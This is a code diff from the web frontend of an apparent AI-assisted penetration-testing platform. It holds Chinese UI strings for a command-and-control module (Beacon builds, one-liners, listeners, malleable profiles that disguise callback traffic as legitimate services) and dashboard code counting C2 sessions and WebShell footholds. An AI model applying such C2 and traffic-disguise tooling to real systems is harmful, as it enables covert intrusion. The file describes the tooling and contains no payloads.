"toastLoadListenersFail": "加载监听器列表失败:{{msg}}",
"toastPickListener": "请先选择一个监听器",
"toastOnelinerFail": "生成 Oneliner 失败:{{msg}}",
"toastBuildFail": "构建 Beacon 失败:{{msg}}",
"toastBuildSuccess": "构建成功:{{bytes}} bytes",
"buildSuccessTitle": "构建成功",
"buildMetaOsArch": "系统:{{os}} | 架构:{{arch}}",
"buildSize": "大小:{{bytes}} bytes",
"clickToCopyTitle": "点击复制",
"toastDownloadQueued": "下载任务已排队"
},
"events": {
"title": "事件审计",
"level": "级别",
"category": "类别",
"message": "消息",
"time": "时间",
"info": "信息",
"warn": "警告",
"critical": "严重",
"listener": "监听器",
"session": "会话",
"task": "任务",
"payload": "Payload",
"opsec": "OPSEC",
"refresh": "刷新",
"empty": "暂无事件",
"batchDelete": "批量删除",
"selectAll": "全选本页",
"deleteOne": "删除",
"confirmDeleteOne": "确定删除该条事件吗?此操作不可恢复。",
"confirmBatchDelete": "确定删除选中的 {{n}} 条事件吗?此操作不可恢复。",
"toastSelectFirst": "请先勾选要删除的事件",
"toastDeleted": "已删除 {{n}} 条",
"paginationShow": "显示 {{start}}-{{end}} / 共 {{total}} 条记录",
"paginationPerPage": "每页显示",
"paginationFirst": "首页",
"paginationPrev": "上一页",
"paginationPage": "第 {{current}} / {{total}} 页",
"paginationNext": "下一页",
"paginationLast": "末页"
},
"profiles": {
"title": "流量伪装",
"name": "名称",
"userAgent": "User-Agent",
"uris": "URI 路径",
"headers": "请求头",
"jitter": "Jitter 范围",
"create": "创建 Profile",
"createBtn": "+ 创建 Profile",
"delete": "删除",
"empty": "暂无 Profile",
"defaultValue": "默认",
"modalCreateTitle": "创建 Malleable Profile",
"profileNameLabel": "Profile 名称",
"placeholderProfileName": "例如 cdn-fronting",
"hintUa": "自定义 Beacon HTTP 请求中的 User-Agent 头",
"labelBeaconUris": "Beacon URI(每行一个)",
"hintUris": "Beacon 回连使用的 URI 路径",
"labelJitterMin": "Jitter 最小值 (ms)",
"labelJitterMax": "Jitter 最大值 (ms)",
"labelRespHeaders": "自定义响应头 (JSON)",
"hintHeaders": "用于伪装为合法服务的 HTTP 响应头",
"toastNameRequired": "请填写 Profile 名称",
"toastInvalidHeadersJson": "响应头 JSON 无效",
"toastCreated": "Profile 已创建",
"toastDeleted": "Profile 已删除",
"confirmDelete": "确定删除此 Profile",
"submitCreate": "创建"
}
}
}
+1875
View File
File diff suppressed because it is too large Load Diff
+1123 -651
View File
File diff suppressed because it is too large Load Diff
+212 -21
View File
@@ -46,6 +46,7 @@ async function refreshDashboard() {
if (severityTotalEl) severityTotalEl.textContent = '0';
renderSeverityDonut({}, 0);
renderVulnStatusPanel(null, 0);
renderSeverityInsights(null, 0, null);
setDashboardOverviewPlaceholder('…');
setEl('dashboard-kpi-tools-calls', '…');
setEl('dashboard-kpi-success-rate', '…');
@@ -91,17 +92,19 @@ async function refreshDashboard() {
try {
// /api/vulnerabilities/stats 只给出 by_severity 与 by_status 两个独立维度,
// 无法得到「严重 × 待处理」的交叉计数。这里额外拉两次(limit=1,仅取 total),
// 用真实的「待处理严重 / 待处理高危」数量驱动告警条 KPI 副标,避免修复后仍报警。
// 无法得到「严重 × 待处理」的交叉计数。这里按四档各拉一次(limit=1,仅取 total),
// 用真实的「待处理 × 各严重度」数量驱动告警条 / KPI 副标 / 风险概览卡的加权分,
// 避免「全部修复后风险等级仍显示极高」这类语义冲突。
var openVulnQuery = function (sev) {
return fetchJson('/api/vulnerabilities?severity=' + sev + '&status=open&limit=1');
};
const [
tasksRes, vulnRes, batchRes, monitorRes, knowledgeRes, skillsRes,
recentVulnsRes, rolesRes, agentsRes,
openCriticalRes, openHighRes, toolsConfigRes,
openCriticalRes, openHighRes, openMediumRes, openLowRes, toolsConfigRes,
hitlPendingRes, notificationsRes, externalMcpStatsRes,
webshellRes
webshellRes,
c2ListenersRes, c2SessionsRes, c2TasksRes
] = await Promise.all([
fetchJson('/api/agent-loop/tasks'),
fetchJson('/api/vulnerabilities/stats'),
@@ -114,6 +117,9 @@ async function refreshDashboard() {
fetchJson('/api/multi-agent/markdown-agents'),
openVulnQuery('critical'),
openVulnQuery('high'),
// 中/低危的「待处理」计数:用于风险概览卡的加权风险分,使其反映"当前未处理风险"
openVulnQuery('medium'),
openVulnQuery('low'),
// 拉取 MCP 工具的「配置总数」用于「能力总览」(区别于 monitor/stats 的「有调用记录」)。
// 仅取 total 字段,page_size=1 减少传输;total 已涵盖内部 + 外部 MCP + 直接注册的工具。
fetchJson('/api/config/tools?page=1&page_size=1'),
@@ -124,7 +130,11 @@ async function refreshDashboard() {
// External MCP 健康度
fetchJson('/api/external-mcp/stats'),
// WebShell 已建立的连接(pentest 落地后的 foothold,对运营场景非常关键)
fetchJson('/api/webshell/connections')
fetchJson('/api/webshell/connections'),
// C2 仪表盘条:监听器 / 会话 / 待处理任务(任务接口含 pending_queued_count
fetchJson('/api/c2/listeners'),
fetchJson('/api/c2/sessions?limit=500'),
fetchJson('/api/c2/tasks?page=1&page_size=1')
]);
// 如果在 await 期间 controller 已被 abort,说明又有新刷新启动了,丢弃本次结果
@@ -173,17 +183,25 @@ async function refreshDashboard() {
let criticalCount = 0;
let highCount = 0;
let mediumCount = 0;
let lowCount = 0;
let openCriticalCount = 0;
let openHighCount = 0;
let openMediumCount = 0;
let openLowCount = 0;
if (vulnRes && typeof vulnRes.total === 'number') {
if (vulnTotalEl) vulnTotalEl.textContent = String(vulnRes.total);
const bySeverity = vulnRes.by_severity || {};
const total = vulnRes.total || 0;
criticalCount = bySeverity.critical || 0;
highCount = bySeverity.high || 0;
mediumCount = bySeverity.medium || 0;
lowCount = bySeverity.low || 0;
// 优先用专门拉的「待处理」计数;若专项接口失败,则退回 by_severity(宁可误报,不可漏报)
openCriticalCount = pickOpenCount(openCriticalRes, criticalCount);
openHighCount = pickOpenCount(openHighRes, highCount);
openMediumCount = pickOpenCount(openMediumRes, mediumCount);
openLowCount = pickOpenCount(openLowRes, lowCount);
if (severityTotalEl) severityTotalEl.textContent = String(total);
severityIds.forEach(sev => {
const count = bySeverity[sev] || 0;
@@ -197,6 +215,11 @@ async function refreshDashboard() {
});
renderSeverityDonut(bySeverity, total);
renderVulnStatusPanel(vulnRes.by_status || {}, total);
renderSeverityInsights(
{ critical: openCriticalCount, high: openHighCount, medium: openMediumCount, low: openLowCount },
openCriticalCount + openHighCount + openMediumCount + openLowCount,
recentVulnsRes
);
// 漏洞 KPI 副标:徽章/文案均使用「待处理」口径
const critBadge = document.getElementById('dashboard-kpi-vuln-critical-badge');
@@ -225,6 +248,7 @@ async function refreshDashboard() {
});
renderSeverityDonut({}, 0);
renderVulnStatusPanel(null, 0);
renderSeverityInsights(null, 0, null);
hideEl('dashboard-kpi-vuln-critical-badge');
setKpiSubText('dashboard-kpi-vuln-sub-text', '-');
}
@@ -374,6 +398,9 @@ async function refreshDashboard() {
// 「最近事件」内联展示(来自通知摘要,过滤掉已经被仪表盘其他位置覆盖的类型)
renderRecentEvents(notificationsRes);
// C2 概览条(监听器 / 在线会话 / 待处理任务)
renderDashboardC2Overview(c2ListenersRes, c2SessionsRes, c2TasksRes);
// 关键提醒条:把所有可能的告警源(漏洞/HITL/失败率/MCP健康)合并展示
renderDashboardAlertBanner({
criticalCount: openCriticalCount,
@@ -425,6 +452,8 @@ async function refreshDashboard() {
['tools', 'skills', 'knowledge', 'roles', 'agents', 'webshell'].forEach(function (k) {
setEl('dashboard-resource-' + k, '-');
});
var c2secErr = document.getElementById('dashboard-section-c2');
if (c2secErr) c2secErr.hidden = true;
setRecentVulnsError();
renderDashboardToolsBar(null);
var ph = document.getElementById('dashboard-tools-pie-placeholder');
@@ -439,6 +468,53 @@ async function refreshDashboard() {
}
}
/** C2 概览条:依赖 /api/c2/listeners、sessions、tasks;任一路由失败则整块隐藏 */
function renderDashboardC2Overview(listenersRes, sessionsRes, tasksRes) {
var section = document.getElementById('dashboard-section-c2');
if (!section) return;
if (listenersRes === null && sessionsRes === null && tasksRes === null) {
section.hidden = true;
return;
}
var running = '-';
if (listenersRes && Array.isArray(listenersRes.listeners)) {
running = String(listenersRes.listeners.filter(function (l) {
return (l && (l.status || '').toLowerCase() === 'running');
}).length);
} else if (listenersRes === null) {
running = '-';
} else {
running = '0';
}
var online = '-';
if (sessionsRes && Array.isArray(sessionsRes.sessions)) {
online = String(sessionsRes.sessions.filter(function (s) {
if (!s) return false;
var st = (s.status || '').toLowerCase();
return st === 'active' || st === 'sleeping';
}).length);
} else if (sessionsRes === null) {
online = '-';
} else {
online = '0';
}
var pending = '-';
if (tasksRes && typeof tasksRes.pending_queued_count === 'number') {
pending = String(tasksRes.pending_queued_count);
} else if (tasksRes === null) {
pending = '-';
} else {
pending = '0';
}
setEl('dashboard-c2-listeners-running', running);
setEl('dashboard-c2-sessions-online', online);
setEl('dashboard-c2-tasks-pending', pending);
section.hidden = false;
if (typeof applyTranslations === 'function') {
try { applyTranslations(section); } catch (_e) { /* ignore */ }
}
}
function setEl(id, text) {
const el = document.getElementById(id);
if (el) el.textContent = text;
@@ -505,10 +581,34 @@ function setKpiRateBadge(id, rate, failedCount) {
}
}
// sessionStorage:告警条「×」忽略记录 + 最近一次**实际展示过**的 reason 片段(不含 level),
// 用于在「问题从多变少」(如审完 HITL 后只剩严重漏洞)时,避免误用更早对「仅子集」的忽略。
var DASH_SESSION_ALERT_DISMISSED = 'dashboard.dismissedAlert';
var DASH_SESSION_ALERT_LAST_REASONS = 'dashboard.alertLastReasons';
function dashboardAlertReasonKeySetFromJoined(s) {
if (!s || typeof s !== 'string') return new Set();
return new Set(s.split(',').map(function (x) { return x.trim(); }).filter(Boolean));
}
/** 当前 reason 片段相对上次展示的片段是否为真子集(用于清除过时的忽略) */
function dashboardAlertCurrentIsStrictSubsetOfLastShown(currentReasonJoined, lastReasonJoined) {
var cur = dashboardAlertReasonKeySetFromJoined(currentReasonJoined);
var last = dashboardAlertReasonKeySetFromJoined(lastReasonJoined);
if (cur.size === 0 || last.size === 0) return false;
if (cur.size >= last.size) return false;
var ok = true;
cur.forEach(function (k) {
if (!last.has(k)) ok = false;
});
return ok;
}
// 关键提醒条:根据严重情况渲染或隐藏。
// - level: danger(红) > warning(橙) > info(蓝),按 reasons 自动取最高级
// - 用户点 × 后,把当前 reasons 指纹存入 sessionStorage,本会话内再出现完全相同的内容会自动跳过
// - 当 reasons 集合发生变化(如又新增一类问题),指纹失效,banner 重新弹出,避免「忽略后永远不再提醒」
// - 若曾展示过「更多类问题」的组合,之后仅部分问题消失,即使指纹与早年忽略相同,也会清除忽略并继续提醒(见 dashboard.alertLastReasons
function renderDashboardAlertBanner(stats) {
const banner = document.getElementById('dashboard-alert-banner');
const titleEl = document.getElementById('dashboard-alert-title');
@@ -552,15 +652,28 @@ function renderDashboardAlertBanner(stats) {
banner.hidden = true;
banner.classList.remove('is-warning', 'is-danger', 'is-info');
dashboardState.dismissedAlertKey = null;
try { sessionStorage.removeItem(DASH_SESSION_ALERT_LAST_REASONS); } catch (_) {}
return;
}
var fingerprint = level + '|' + reasonKeys.join(',');
var reasonPartJoined = reasonKeys.join(',');
// 检查是否被本会话忽略过同样的内容;若当前仅为「上次曾展示组合」的真子集,则清除忽略(最佳实践:部分处置后仍提醒剩余项)
var dismissed = null;
try { dismissed = sessionStorage.getItem(DASH_SESSION_ALERT_DISMISSED); } catch (_) {}
var lastShownReasons = '';
try { lastShownReasons = sessionStorage.getItem(DASH_SESSION_ALERT_LAST_REASONS) || ''; } catch (_) {}
if (dismissed === fingerprint && dashboardAlertCurrentIsStrictSubsetOfLastShown(reasonPartJoined, lastShownReasons)) {
try {
sessionStorage.removeItem(DASH_SESSION_ALERT_DISMISSED);
dismissed = null;
} catch (_) { /* ignore */ }
}
dashboardState.dismissedAlertKey = fingerprint;
// 检查是否被本会话忽略过同样的内容
var dismissed = null;
try { dismissed = sessionStorage.getItem('dashboard.dismissedAlert'); } catch (_) {}
if (dismissed === fingerprint) {
banner.hidden = true;
return;
@@ -609,6 +722,8 @@ function renderDashboardAlertBanner(stats) {
btn.onclick = function () { try { switchPage('mcp-management'); } catch (e) {} };
actsEl.appendChild(btn);
}
try { sessionStorage.setItem(DASH_SESSION_ALERT_LAST_REASONS, reasonPartJoined); } catch (_) {}
}
// External MCP 健康度:从 /api/external-mcp/stats 解析出 running / total / down
@@ -662,8 +777,8 @@ function getHitlPendingCount(res) {
// 「最近事件」内联展示:取通知摘要里最重要的前 N 条
// 设计原则:
// - 不重复 alert banner / KPI 已表达过的信息(漏洞、HITL 等会被过滤掉避免冗余
// - 只显示 p0/p1 优先级,p2 作为兜底(当 p0/p1 不够时)
// - 不重复 alert banner / KPI 已表达的「新漏洞」通知(vulnerability_created 仍过滤
// - HITL 待审批在推荐操作等处也会提示,但仍在此展示时间线,便于与任务完成等并列查看
// - 整个 section 在没有可显示内容时整个隐藏,避免空模块占地方
function renderRecentEvents(notifRes) {
var section = document.getElementById('dashboard-section-events');
@@ -671,8 +786,8 @@ function renderRecentEvents(notifRes) {
if (!section || !listEl) return;
var items = (notifRes && Array.isArray(notifRes.items)) ? notifRes.items : [];
// 过滤:只看有意义的事件,去掉 actionable 已处理的、以及类型已经在仪表盘其他位置覆盖的
var coveredTypes = { 'vulnerability_created': true, 'hitl_pending': true };
// 过滤:去掉新漏洞类型(与「最近漏洞」等板块避免重复);HITL 不再过滤
var coveredTypes = { 'vulnerability_created': true };
var filtered = items.filter(function (it) {
if (!it || !it.type) return false;
if (coveredTypes[it.type]) return false;
@@ -685,8 +800,8 @@ function renderRecentEvents(notifRes) {
var la = levelOrder[a.level] != null ? levelOrder[a.level] : 9;
var lb = levelOrder[b.level] != null ? levelOrder[b.level] : 9;
if (la !== lb) return la - lb;
var ta = a.createdAt || a.created_at || 0;
var tb = b.createdAt || b.created_at || 0;
var ta = a.ts || a.createdAt || a.created_at || 0;
var tb = b.ts || b.createdAt || b.created_at || 0;
return new Date(tb).getTime() - new Date(ta).getTime();
});
@@ -701,8 +816,9 @@ function renderRecentEvents(notifRes) {
listEl.innerHTML = top.map(function (it) {
var level = it.level || 'p2';
var title = esc(it.title || it.message || dt('dashboard.eventUntitled', null, '事件'));
var msg = esc(it.message || it.summary || '');
var when = esc(timeAgoStr(it.createdAt || it.created_at));
var msg = esc(it.message || it.summary || it.desc || '');
var whenRaw = timeAgoStr(it.ts || it.createdAt || it.created_at);
var when = esc(whenRaw || '—');
return (
'<div class="dashboard-event-item lvl-' + esc(level) + '">' +
'<span class="dashboard-event-dot" aria-hidden="true"></span>' +
@@ -730,7 +846,7 @@ function renderRecommendedActions(state) {
if (state.openCriticalCount > 0) {
actions.push({
level: 'urgent',
icon: '<svg width="18" height="18" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M10.29 3.86L1.82 18a2 2 0 0 0 1.71 3h16.94a2 2 0 0 0 1.71-3L13.71 3.86a2 2 0 0 0-3.42 0z"/><line x1="12" y1="9" x2="12" y2="13"/><line x1="12" y1="17" x2="12.01" y2="17"/></svg>',
icon: '<svg width="18" height="18" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M10.29 3.86L1.82 18a2 2 0 0 0 1.71 3h16.94a2 2 0 0 0 1.71-3L13.71 3.86a2 2 0 0 0-3.42 0z"/><line x1="12" y1="9" x2="12" y2="13"/><circle cx="12" cy="17" r="1" fill="currentColor" stroke="none"/></svg>',
title: dt('dashboard.recoFixCritical', { count: state.openCriticalCount },
'修复 ' + state.openCriticalCount + ' 个待处理严重漏洞'),
desc: dt('dashboard.recoFixCriticalDesc', null, '严重等级的漏洞应优先处置'),
@@ -784,7 +900,7 @@ function renderRecommendedActions(state) {
actions.push({
level: 'setup',
icon: '<svg width="18" height="18" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M21 15a2 2 0 0 1-2 2H7l-4 4V5a2 2 0 0 1 2-2h14a2 2 0 0 1 2 2z"/></svg>',
title: dt('dashboard.recoStartScan', null, '开始第一次扫描'),
title: dt('dashboard.recoStartScan', null, '在对话中发起扫描'),
desc: dt('dashboard.recoStartScanDesc', null, '在对话中描述目标,让 AI 协助执行'),
page: 'chat'
});
@@ -972,8 +1088,8 @@ function renderRecentVulns(res) {
'<span class="dashboard-empty-icon" aria-hidden="true">' +
'<svg width="40" height="40" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/><path d="M9 12l2 2 4-4"/></svg>' +
'</span>' +
'<div class="dashboard-empty-title">' + esc(dt('dashboard.noVulnYet', null, '暂无漏洞')) + '</div>' +
'<div class="dashboard-empty-desc">' + esc(dt('dashboard.noVulnDesc', null, '系统目前安全,开始一次扫描可以发现潜在问题')) + '</div>' +
'<div class="dashboard-empty-title">' + esc(dt('dashboard.noVulnYet', null, '暂无最近漏洞')) + '</div>' +
'<div class="dashboard-empty-desc">' + esc(dt('dashboard.noVulnDesc', null, '此处展示近期漏洞记录;在对话中完成检测后,新结果会出现在这里')) + '</div>' +
'<button type="button" class="dashboard-empty-action" data-action="scan">' +
esc(dt('dashboard.startScanBtn', null, '前往对话发起扫描')) + ' →</button>'
);
@@ -1093,6 +1209,81 @@ function renderVulnStatusPanel(byStatus, total) {
if (confirmedBar) confirmedBar.style.width = confirmedPct.toFixed(2) + '%';
}
// 风险概览卡:基于「待处理(open)」口径的严重度分布计算加权风险分 + 紧急徽章
//
// 为什么用 open 口径而不是全量:
// 如果用全量,全部漏洞修复后 by_severity 不变,风险分仍然居高,
// 但紧急徽章(待严重/待高危)已经归零——视觉上会出现「极高 + 0 待处理」的语义冲突。
// 改成 open 口径后,修复即卸掉风险,风险等级与紧急计数完全同步。
//
// bySeverityOpen: { critical, high, medium, low }(只统计 status=open 的漏洞;info 不计入)
// totalOpen: 待处理漏洞总数(= critical + high + medium + low),仅用于"全无待处理 → safe"判断
// recentVulnsRes: /api/vulnerabilities?limit=5 响应(用于"最近发现"时间,口径是全量,与处置状态无关)
function renderSeverityInsights(bySeverityOpen, totalOpen, recentVulnsRes) {
var riskBox = document.querySelector('.dashboard-severity-insight-risk');
var levelEl = document.getElementById('dashboard-severity-risk-level');
var fillEl = document.getElementById('dashboard-severity-risk-fill');
var scoreEl = document.getElementById('dashboard-severity-risk-score');
var urgentCriticalEl = document.getElementById('dashboard-severity-urgent-critical');
var urgentHighEl = document.getElementById('dashboard-severity-urgent-high');
var urgentCriticalCell = urgentCriticalEl ? urgentCriticalEl.closest('.dashboard-severity-insight-urgent-item') : null;
var urgentHighCell = urgentHighEl ? urgentHighEl.closest('.dashboard-severity-insight-urgent-item') : null;
var latestEl = document.getElementById('dashboard-severity-latest-time');
var sev = bySeverityOpen && typeof bySeverityOpen === 'object' ? bySeverityOpen : {};
var c = Number(sev.critical || 0) || 0;
var h = Number(sev.high || 0) || 0;
var m = Number(sev.medium || 0) || 0;
var l = Number(sev.low || 0) || 0;
// 加权分:严重 ×10、高危 ×5、中危 ×2、低危 ×0.5;信息忽略
// 阈值设计偏"保守"1 个待处理严重就进"中"2 个进"高",≥4 个进"极高"
var score = c * 10 + h * 5 + m * 2 + l * 0.5;
var level, levelKey, levelFallback;
var t = Number(totalOpen || 0) || 0;
if (t === 0 || score === 0) {
level = 'safe'; levelKey = 'dashboard.riskSafe'; levelFallback = '安全';
} else if (score <= 3) {
level = 'low'; levelKey = 'dashboard.riskLow'; levelFallback = '低';
} else if (score <= 10) {
level = 'medium'; levelKey = 'dashboard.riskMedium'; levelFallback = '中';
} else if (score <= 30) {
level = 'high'; levelKey = 'dashboard.riskHigh'; levelFallback = '高';
} else {
level = 'severe'; levelKey = 'dashboard.riskSevere'; levelFallback = '极高';
}
if (riskBox) riskBox.setAttribute('data-level', level);
if (levelEl) levelEl.textContent = dt(levelKey, null, levelFallback);
// 进度条用 0-100 线性映射:>=100 直接满格
var pct = Math.max(0, Math.min(100, score));
if (fillEl) fillEl.style.width = pct.toFixed(1) + '%';
if (scoreEl) {
// 分数保留一位小数(低危 0.5 权重可能出现非整数);整数直接显示
var displayScore = Math.round(score) === score ? String(score) : score.toFixed(1);
scoreEl.textContent = score >= 100 ? displayScore + '+' : displayScore;
}
// 紧急徽章直接复用 open 口径的 critical / high(与加权分完全同源,不会出现"风险极高 + 0 待处理"的矛盾)
if (urgentCriticalEl) urgentCriticalEl.textContent = formatNumber(c);
if (urgentHighEl) urgentHighEl.textContent = formatNumber(h);
if (urgentCriticalCell) urgentCriticalCell.classList.toggle('is-zero', c === 0);
if (urgentHighCell) urgentHighCell.classList.toggle('is-zero', h === 0);
if (latestEl) {
var list = recentVulnsRes && Array.isArray(recentVulnsRes.vulnerabilities) ? recentVulnsRes.vulnerabilities : [];
var latestIso = list.length > 0 ? list[0].created_at : null;
var timeStr = latestIso ? timeAgoStr(latestIso) : '';
if (timeStr) {
latestEl.textContent = timeStr;
latestEl.classList.remove('is-empty');
} else {
latestEl.textContent = dt('dashboard.noneYet', null, '暂无');
latestEl.classList.add('is-empty');
}
}
}
function renderDashboardToolsBar(monitorRes) {
const placeholder = document.getElementById('dashboard-tools-pie-placeholder');
const barChartEl = document.getElementById('dashboard-tools-bar-chart');
@@ -1377,7 +1568,7 @@ document.addEventListener('click', function (ev) {
if (!btn) return;
ev.preventDefault();
var key = dashboardState.dismissedAlertKey || '';
try { sessionStorage.setItem('dashboard.dismissedAlert', key); } catch (_) {}
try { sessionStorage.setItem(DASH_SESSION_ALERT_DISMISSED, key); } catch (_) {}
var banner = document.getElementById('dashboard-alert-banner');
if (banner) banner.hidden = true;
});
+18 -5
View File
@@ -142,6 +142,11 @@ function einoMainStreamPlanningTitle(responseData) {
const label = typeof window.t === 'function' ? window.t(key) : '输出';
return prefix + '📝 ' + label;
}
// eino_single / deep / supervisor:主通道是模型流式输出,不是「规划」;模型偶发复述工具 stdout 时,旧文案易被误认为工具结果标题。
if (orch != null && String(orch).trim() !== '' && orch !== 'plan_execute') {
const streamLabel = typeof window.t === 'function' ? window.t('chat.assistantStreamPhase') : '助手输出';
return prefix + '📝 ' + streamLabel;
}
const plan = typeof window.t === 'function' ? window.t('chat.planning') : '规划中';
return prefix + '📝 ' + plan;
}
@@ -1498,7 +1503,7 @@ function handleStreamEvent(event, progressElement, progressId,
const itemId = addTimelineItem(timeline, 'thinking', {
title: title,
message: ' ',
data: responseData
data: Object.assign({}, responseData, { responseStreamPlaceholder: true })
});
responseStreamStateByProgressId.set(progressId, { itemId: itemId, buffer: '', streamMeta: responseData });
break;
@@ -2198,6 +2203,9 @@ function addTimelineItem(timeline, type, options) {
if (options.data && options.data.orchestration != null && String(options.data.orchestration).trim() !== '') {
item.dataset.orchestration = String(options.data.orchestration).trim();
}
if (options.data && options.data.responseStreamPlaceholder === true) {
item.dataset.responseStreamPlaceholder = '1';
}
// 使用传入的createdAt时间,如果没有则使用当前时间(向后兼容)
let eventTime;
@@ -3154,7 +3162,12 @@ function refreshProgressAndTimelineI18n() {
titleSpan.textContent = ap + _t('chat.iterationRound', { n: n });
}
} else if (type === 'thinking') {
if (item.dataset.orchestration === 'plan_execute' && item.dataset.einoAgent && typeof einoMainStreamPlanningTitle === 'function') {
if (item.dataset.responseStreamPlaceholder === '1' && typeof einoMainStreamPlanningTitle === 'function') {
titleSpan.textContent = einoMainStreamPlanningTitle({
orchestration: item.dataset.orchestration || '',
einoAgent: item.dataset.einoAgent || ''
});
} else if (item.dataset.orchestration === 'plan_execute' && item.dataset.einoAgent && typeof einoMainStreamPlanningTitle === 'function') {
titleSpan.textContent = einoMainStreamPlanningTitle({
orchestration: 'plan_execute',
einoAgent: item.dataset.einoAgent
@@ -3163,10 +3176,10 @@ function refreshProgressAndTimelineI18n() {
titleSpan.textContent = ap + '\uD83E\uDD14 ' + _t('chat.aiThinking');
}
} else if (type === 'planning') {
if (item.dataset.orchestration === 'plan_execute' && item.dataset.einoAgent && typeof einoMainStreamPlanningTitle === 'function') {
if (item.dataset.orchestration && typeof einoMainStreamPlanningTitle === 'function') {
titleSpan.textContent = einoMainStreamPlanningTitle({
orchestration: 'plan_execute',
einoAgent: item.dataset.einoAgent
orchestration: item.dataset.orchestration,
einoAgent: item.dataset.einoAgent || ''
});
} else {
titleSpan.textContent = ap + '\uD83D\uDCDD ' + _t('chat.planning');
+31 -4
View File
@@ -129,6 +129,7 @@
if ((item.type === 'task_completed' || item.type === 'long_running_tasks') && item.conversationId) return true;
if (item.type === 'task_failed' && item.executionId) return true;
if (item.type === 'hitl_pending') return true;
if (item.type === 'c2_session_online' && item.sessionId) return true;
return false;
}
@@ -153,6 +154,24 @@
}
if (item.type === 'hitl_pending') {
window.location.hash = 'hitl';
return;
}
if (item.type === 'c2_session_online' && item.sessionId) {
if (typeof window.switchPage === 'function') {
window.switchPage('c2-sessions');
} else {
window.location.hash = 'c2-sessions';
}
const sid = item.sessionId;
window.setTimeout(function () {
if (typeof C2 === 'undefined' || !C2.loadSessions || !C2.selectSession) return;
var p = C2.loadSessions();
if (p && typeof p.then === 'function') {
p.then(function () { C2.selectSession(sid); }).catch(function () {});
} else {
window.setTimeout(function () { try { C2.selectSession(sid); } catch (e) {} }, 500);
}
}, 120);
}
}
@@ -287,10 +306,18 @@
closeDropdown();
return;
}
dropdown.style.display = 'block';
bellBtn.classList.add('active');
state.dropdownOpen = true;
await refreshNotifications();
// 从仪表盘「查看全部」等容器外入口打开时,同一 click 会冒泡到 document
// handleDocumentClick 会误判为「点在外面」并立刻关掉。推迟到宏任务再展开即可。
const runOpen = async function () {
if (dropdown.style.display !== 'none') return;
dropdown.style.display = 'block';
bellBtn.classList.add('active');
state.dropdownOpen = true;
await refreshNotifications();
};
window.setTimeout(function () {
void runOpen();
}, 0);
}
async function markAllSeen() {
+35 -5
View File
@@ -1,6 +1,28 @@
// 角色管理相关功能
function _t(key, opts) {
return typeof window.t === 'function' ? window.t(key, opts) : key;
if (typeof window.t === 'function') {
try {
var translated = window.t(key, opts);
if (typeof translated === 'string' && translated && translated !== key) {
return translated;
}
} catch (e) { /* ignore */ }
}
// i18n 未就绪或词条缺失时避免把 key 暴露给用户(与 zh-CN 默认一致)
if (key === 'roles.noDescription') return '暂无描述';
if (key === 'roles.noDescriptionShort') return '无描述';
if (key === 'roles.defaultRoleDescription') {
return '默认角色,不额外携带用户提示词,使用默认MCP';
}
return key;
}
/** 角色配置中的描述:trim,并把误存为 i18n key 的字面量视为空 */
function rolePlainDescription(role) {
const raw = typeof role.description === 'string' ? role.description.trim() : '';
if (!raw) return '';
if (raw === 'roles.noDescription' || raw === 'roles.noDescriptionShort') return '';
return raw;
}
let currentRole = localStorage.getItem('currentRole') || '';
let roles = [];
@@ -56,6 +78,11 @@ function sortRoles(rolesArray) {
// 加载所有角色
async function loadRoles() {
if (window.i18nReady && typeof window.i18nReady.then === 'function') {
try {
await window.i18nReady;
} catch (e) { /* ignore */ }
}
try {
const response = await apiFetch('/api/roles');
if (!response.ok) {
@@ -189,8 +216,9 @@ function renderRoleSelectionSidebar() {
const icon = getRoleIcon(role);
// 处理默认角色的描述
let description = role.description || _t('roles.noDescription');
if (isDefaultRole && !role.description) {
const plainDesc = rolePlainDescription(role);
let description = plainDesc || _t('roles.noDescription');
if (isDefaultRole && !plainDesc) {
description = _t('roles.defaultRoleDescription');
}
@@ -316,6 +344,7 @@ function renderRolesList() {
const sortedRoles = sortRoles(filteredRoles);
rolesList.innerHTML = sortedRoles.map(role => {
const plainDesc = rolePlainDescription(role);
// 获取角色图标,如果是Unicode转义格式则转换为emoji
let roleIcon = role.icon || '👤';
if (roleIcon && typeof roleIcon === 'string') {
@@ -369,7 +398,7 @@ function renderRolesList() {
${role.enabled !== false ? _t('roles.enabled') : _t('roles.disabled')}
</span>
</div>
<div class="role-card-description">${escapeHtml(role.description || _t('roles.noDescriptionShort'))}</div>
<div class="role-card-description">${escapeHtml(plainDesc || _t('roles.noDescriptionShort'))}</div>
<div class="role-card-tools">
<span class="role-card-tools-label">${_t('roleModal.toolsLabel')}</span>
<span class="role-card-tools-value">${toolsDisplay}</span>
@@ -1575,9 +1604,10 @@ document.addEventListener('DOMContentLoaded', () => {
updateRoleSelectorDisplay();
});
// 语言切换后刷新角色选择器显示(默认/自定义角色名)
// 语言切换后刷新角色选择器与「选择角色」列表文案
document.addEventListener('languagechange', () => {
updateRoleSelectorDisplay();
renderRoleSelectionSidebar();
});
// 获取当前选中的角色(供chat.js使用)
+25 -2
View File
@@ -50,7 +50,7 @@ function initRouter() {
if (hash) {
const hashParts = hash.split('?');
const pageId = hashParts[0];
if (pageId && ['dashboard', 'chat', 'hitl', 'info-collect', 'vulnerabilities', 'webshell', 'chat-files', 'mcp-monitor', 'mcp-management', 'knowledge-management', 'knowledge-retrieval-logs', 'roles-management', 'skills-monitor', 'skills-management', 'agents-management', 'settings', 'tasks'].includes(pageId)) {
if (pageId && ['dashboard', 'chat', 'hitl', 'info-collect', 'vulnerabilities', 'webshell', 'chat-files', 'mcp-monitor', 'mcp-management', 'knowledge-management', 'knowledge-retrieval-logs', 'roles-management', 'skills-monitor', 'skills-management', 'agents-management', 'settings', 'tasks', 'c2', 'c2-listeners', 'c2-sessions', 'c2-tasks', 'c2-payloads', 'c2-events', 'c2-profiles'].includes(pageId)) {
switchPage(pageId);
if (pageId === 'chat') {
scheduleChatConversationFromHash(500);
@@ -151,6 +151,17 @@ function updateNavState(pageId) {
if (submenuItem) {
submenuItem.classList.add('active');
}
